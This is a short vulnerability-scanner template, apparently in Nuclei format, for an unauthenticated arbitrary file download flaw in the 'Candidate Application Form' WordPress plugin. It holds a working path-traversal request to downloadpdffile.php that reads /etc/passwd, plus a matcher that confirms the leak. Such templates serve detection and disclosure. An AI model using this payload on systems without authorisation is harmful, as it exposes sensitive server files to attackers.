id: candidate-application-lfi

info:
  name: Candidate Application Form <= 1.3 - Unauthenticated Arbitrary File Download
  author: dhiyaneshDK
  severity: high
  description: The code in downloadpdffile.php does not do any sanity checks, allowing a remote attacker to download sensitive system files.
  reference: https://wpscan.com/vulnerability/446233e9-33b3-4024-9b7d-63f9bb1dafe0
  tags: wordpress,wp-plugin,lfi,wp

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200